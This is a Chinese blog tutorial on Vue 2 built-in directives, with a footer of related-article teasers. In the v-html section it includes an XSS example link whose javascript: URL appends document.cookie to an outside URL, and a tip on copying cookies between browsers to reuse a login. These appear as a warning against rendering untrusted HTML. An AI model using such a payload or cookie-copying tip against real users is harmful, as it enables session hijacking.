Vue2基础 13:内置指令

内置指令

  • 1 指令梳理
  • 2 补充指令
    • 2.1 v-text
    • 2.2 v-html
    • 2.3 v-cloak
      • 案例--延迟引入vue造成js阻塞
    • 2.4 v-once
      • 案例--点击按钮+1并展示初始的值
    • 2.5 v-pre

1 指令梳理

前面几节的基础学习已经用到了部分的指令,先梳理一下。

指令描述
v-bind单向绑定解析表达式,简写为 “: ”
v-model双向数据绑定
v-for遍历数组/对象/字符串
v-on绑定事件监听,简写为 @
v-if条件渲染(动态控制DOM是否存在)
v-else条件渲染(动态控制DOM是否存在)
v-show条件渲染(动态控制DOM是否展示)

2 补充指令

2.1 v-text

<div id="root"><div>你好,{{name}}</div><!--第一种:插值语法,显示:你好,fx--><div v-text="name">你好,</div><!--第二种: v-text,显示:fx会替换整个div里的内容--><div v-text="str"></div><!--不会解析标签,显示:<h3>你好</h3>--></div>
<script type="text/javascript">new Vue({el:'#root',data:{name:'fx'str:'<h3>你好</h3>'}})
</script>
  1. 向其所在节点中渲染文本内容
  2. 与插值语法的区别:v-text会替换节点中的所有内容

2.2 v-html

<div id="root"><div>你好,{{name}}</div><div v-text="str"></div><div v-html="str"></div> <!--会解析标签,显示:你好-->
</div>
<script type="text/javascript">new Vue({el:'#root',data:{name:'fx'str:'<h3>你好</h3>',str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击查看更多资源</a>'//问号后面是query参数}})
</script>

存在安全性问题:
cookie
第一次请求、第一次相应

携带用户信息请求登录网站
登录成功跳转个人中心+k1:v1+k2:v2...
浏览器前往网站
该网站服务器
存储cookie并按照网站分类

再次请求、再次相应

携带k1:v1+k2:v2
返回仓库+k3:v3...
按照网站分类的cookie
浏览器查看仓库
该网站服务器校验

其中 k1:v1+k2:v2 其实就是cookie 本质是字符串,格式类似于对象 key: value,或者说json的字符串

不能跨浏览器读取cookie
可以将一个有cookie的浏览器将其cookie复制到另一个浏览器,即可有相同的登录信息(用插件cookie_editor可以导出导入,就不用一条一条复制)

获取cookie:

document.cookie  
//可以拿到所有cookie,格式为k1:v1;k2:v2
//若【应用程序】中,cookie的表格勾选了【HttpOnly】,则本语句无法打出

小结:

  1. 向其所在节点中渲染包含html结构的内容
  2. 与插值语法的区别:
    v-html会替换节点中的所有内容
    v-html可以识别html结构
  3. 存在安全性问题
    • 在网站上动态选人任意html是非常危险的,容易导致XSS(冒充用户之手)攻击
    • 一定要在可信的内容上使用v-html,不要用在用户提交的内容上

2.3 v-cloak

案例–延迟引入vue造成js阻塞

1. 引入放在 <head>

<head><!-- 引入vue--><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script><!-- 延迟5s运行-->
</head>
<body><div id="root"><h2>{{name}}</h2></div>
</body>
<script type="text/javascript">new Vue({el:'#root',data:{name:'fx'}})
</script>

此时,body和script标签被阻塞

2. 引入放在 <body>最后

<body><div id="root"><h2>{{name}}</h2></div><!-- 引入vue--><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script><!-- 延迟5s运行-->
</body><script type="text/javascript">new Vue({el:'#root',data:{name:'fx'}})
</script>

此时"div"没有阻塞,先到页面上了,即{{name}},此时为解析,待到引用vue后经过解析,变成vue实例里的数据

3. 利用v-cloak配合css实现:vue引入放在 <body>最后,但是不显示未解析内容

<head><style><!-- []代表选中所有标签中带有这个属性的元素-->[v-cloak]{display: none;<!-- -->}</style><!-- 延迟5s运行-->
</head>
<body><div id="root"><h2 v-cloak>{{name}}</h2></div><!-- 引入vue--><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script><!-- 延迟5s运行-->
</body><script type="text/javascript">new Vue({el:'#root',data:{name:'fx',}})
</script>
  1. v-cloak会在vue实例接管容器的一瞬间被删掉
  2. 这个指令没有值
  3. 利用css可以不展示未解析的内容
  4. 利用场景:当网速比较慢的时候,不把未解析的内容放在页面上

小结

  1. 本质是一个特殊属性(无值):vue实例创建完并接管容器的之后,会删掉该属性
  2. 使用css配合v-cloak可以解决当网速比较慢的时候,不把未解析的内容放在页面上

2.4 v-once

案例–点击按钮+1并展示初始的值

<body><div id="root"><h2 v-once>初始的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">new Vue({el:'#root',data:{n:1,}})
</script>

小结

  1. v-once 所在节点在初次动态渲染(第一次执行)后,就视为静态内容了
  2. 以后数据的改变不会引起v-once 所在结构的更新,可以用于优化性能

2.5 v-pre

<body><div id="root"><h2 v-pre>vue其实很简单</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">new Vue({el:'#root',data:{n:1,}})
</script>

小结

  1. v-pre 跳过其所在节点的编译过程
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
  3. once是事件修饰符

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1472681.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【码银送书第二十二期】《Python数据分析从入门到精通(第2版)》

&#x1f490;大家好&#xff01;我是码银~&#xff0c;欢迎关注&#x1f490;&#xff1a; CSDN&#xff1a;码银 公众号&#xff1a;码银学编程 前言 &#x1f340;丛书说明&#xff1a;“软件开发视频大讲堂‘’丛书第1版于2008年8月出版&#xff0c;因其编写细腻、易学实用…

GoodTask for Mac:优雅高效的任务管理助手

在快节奏的工作生活中&#xff0c;你是否需要一个优雅且高效的任务管理工具来助你一臂之力&#xff1f;GoodTask for Mac正是你的理想选择&#xff01; GoodTask以其简洁直观的界面设计&#xff0c;让你一眼就能看清所有的待办事项。你可以轻松创建任务、设置提醒&#xff0c;…

加装德国进口高精度主轴 智能手机壳「高质量高效率」钻孔铣槽

在当前高度智能化的社会背景下&#xff0c;智能手机早已成为人们生活、工作的必备品&#xff0c;智能手机壳作市场需求量巨大。智能手机壳的加工过程涉及多个环节&#xff0c;包括钻孔和铣槽等。钻孔要求精度高、孔位准确&#xff0c;而铣槽则需要保证槽位规整、深度适宜。这些…

多租户hive数仓

1、概念 多租户对应的是单租户&#xff0c;本篇文章重点讲解多租户&#xff0c;单租户为了解内容。 1.1 多租户 多租户技术或称多重租赁技术&#xff0c;简称SaaS&#xff0c;是一种软件架构技术&#xff0c;是实现如何在多用户环境下&#xff08;此处的多用户一般是面向企业…

ASP.NET Core 使用Log4net

1. Nuget安装log4net&#xff0c;图里的两个 2.项目根目录下添加log4net.config.添加下面的代码: <?xml version"1.0" encoding"utf-8"?> <configuration><!-- This section contains the log4net configuration settings --><log…

以某头部基金实践为例,验证深信服超融合对TA系统承载能力

TA&#xff08;Transfer Agent&#xff09;开放式基金登记过户系统是交易管理系统的重要组成部分&#xff0c;是登记注册机构向投资者提供账户管理、份额登记、交易清算、红利发放、持有人名册保管的综合服务系统。 作为开放式基金运作的核心系统之一&#xff0c;承担着投资者…

go语言day09 通道 协程的死锁

Go语言学习——channel的死锁其实没那么复杂 - JackieZheng - 博客园 (cnblogs.com) 目录 通道 创建通道 1&#xff09;无缓冲通道 2&#xff09;有缓冲通道 通道的使用 1) 值从通道入口进 2) 值从通道出口出 信道死锁&#xff1a; 0&#xff09;死锁现场0 1&#xff09;死…

【C++】 解决 C++ 语言报错:Use of Uninitialized Variable

文章目录 引言 使用未初始化的变量&#xff08;Use of Uninitialized Variable&#xff09;是 C 编程中常见且危险的错误之一。它通常在程序试图使用尚未赋值的变量时发生&#xff0c;导致程序行为不可预测&#xff0c;可能引发运行时错误、数据损坏&#xff0c;甚至安全漏洞。…

珠宝首饰3d网络虚拟展馆打破消费者的时间与空间的限制

我们深知&#xff0c;未来的营销不仅仅是展示产品&#xff0c;更是提供一种全新的消费体验和情绪价值&#xff0c;因此将web3d技术、虚拟现实和互动体验与营销理念相结合&#xff0c;成为数字化时代的新宠。 深圳VRAR公司华锐视点借助先进的web3d开发和VR虚拟现实制作技术&…

数据驱动下的SaaS渠道精细化运营:提升ROI的实战指南

在当今数字化转型的大潮中&#xff0c;SaaS&#xff08;Software as a Service&#xff09;企业面临着日益激烈的市场竞争。为了在市场中脱颖而出&#xff0c;实现可持续增长&#xff0c;SaaS企业必须转向更为精细化的运营模式&#xff0c;而数据驱动则是实现这一目标的关键。本…

Web基础与HTTP协议:

Web基础与HTTP协议 Web&#xff1a;就是我们所说的页面&#xff0c;打开网站所展示的页面。&#xff08;全球广域网&#xff0c;万维网&#xff09; 分布式图形信息系统。 http https &#xff08;加密的&#xff09;超文本传输协议 分布式&#xff1a;计算机系统或者应用程序…

巨头们涌入的医疗大模型,何时迎来最好的商业时代?_google医疗大模型 医疗大模型

当下极为火爆的大模型&#xff0c;在医疗赛道同样炙手可热。谷歌刚刚发布了准确率达 91.1%、性能远超 GPT-4 系列的多模态医学大模型 Med-Gemini&#xff0c;国内市场亦很热闹。自 2023 年以来&#xff0c;百度、腾讯、京东等诸多大厂都相继加码医疗大模型领域&#xff0c;与医…

【简历】郑州某二本学院:JAVA实习简历指导,基本没有面试机会

注&#xff1a;为保证用户信息安全&#xff0c;姓名和学校等信息已经进行同层次变更&#xff0c;内容部分细节也进行了部分隐藏 简历说明 这份简历是一个25届二本同学找JAVA实习的简历&#xff0c;从整体来看&#xff0c;简历版式没有问题&#xff0c;非常清晰。 但是内容特…

碳课堂|搞清楚碳足迹,只看这篇文章就够了

碳足迹管理是碳达峰碳中和的重要政策工具&#xff0c;2023年12月&#xff0c;国家发展改革委、工信部、国家市场监管总局、住房城乡建设部、交通运输部等部门联合印发《关于加快建立产品碳足迹管理体系的意见》&#xff0c;对产品碳足迹管理各项重点任务作出系统部署。 推动碳…

TK养号工具开发会用上的源代码科普!

在当今数字化时代&#xff0c;社交媒体平台的崛起使得网络账号的维护与管理变得日益重要&#xff0c;其中&#xff0c;TK作为一款备受欢迎的社交媒体平台&#xff0c;吸引了大量用户。 在TK上进行账号养护&#xff0c;即通过各种方式提升账号权重、增加曝光量&#xff0c;已成…

从“NLP技术”到“AI大模型”

自从AI大模型问世以来&#xff0c;仿佛很少有人提及NLP技术这个词了。昨天休息的时候突然在想一个问题&#xff0c;AI大模型已经如此强大了&#xff0c;还需要传统的NLP技术吗&#xff1f; 传统的NLP技术指&#xff1a;从分词&#xff08;ws&#xff09;、词性标注&#xff08;…

STM32智能家居安防系统教程

目录 引言环境准备智能家居安防系统基础代码实现&#xff1a;实现智能家居安防系统 4.1 数据采集模块 4.2 数据处理与分析 4.3 控制系统实现 4.4 用户界面与数据可视化应用场景&#xff1a;安防管理与优化问题解决方案与优化收尾与总结 1. 引言 智能家居安防系统利用STM32嵌…

c/c++ 程序运行的过程分析

c/c编译基础知识 GNU GNU&#xff08;GNU’s Not Unix!&#xff09;是一个由理查德斯托曼&#xff08;Richard Stallman&#xff09;在1983年发起的自由软件项目&#xff0c;旨在创建一个完全自由的操作系统&#xff0c;包括操作系统的内核、编译器、工具、库、文本编辑器、邮…

【读点论文】基于二维伽马函数的光照不均匀图像自适应校正算法

基于二维伽马函数的光照不均匀图像自适应校正算法 摘 要:提出了一种基于二维伽马函数的光照不均匀图像自适应校正算法.利用多尺度高斯函数提取出场景的光照分量,然后构造了一种二维伽马函数,并利用光照分量的分布特性调整二维伽马函数的参数,降低光照过强区域图像的亮度值,提高…

惠海 H6225K 降压恒压芯片 支持12V24V36V48V60V转3.3V 5V车载仪器仪表方案

H6225K是一种内置60V耐压MOS&#xff0c;支持输入高达48V的高压降压开关控制器&#xff0c;可以向负载提供2.5A的连续电流。H6225K支持输出恒定电压&#xff0c;可以通过调节VFB采样电阻来设置输出电压&#xff0c;同时支持最大电流限制&#xff0c;可以通过修改CS采样电阻来设…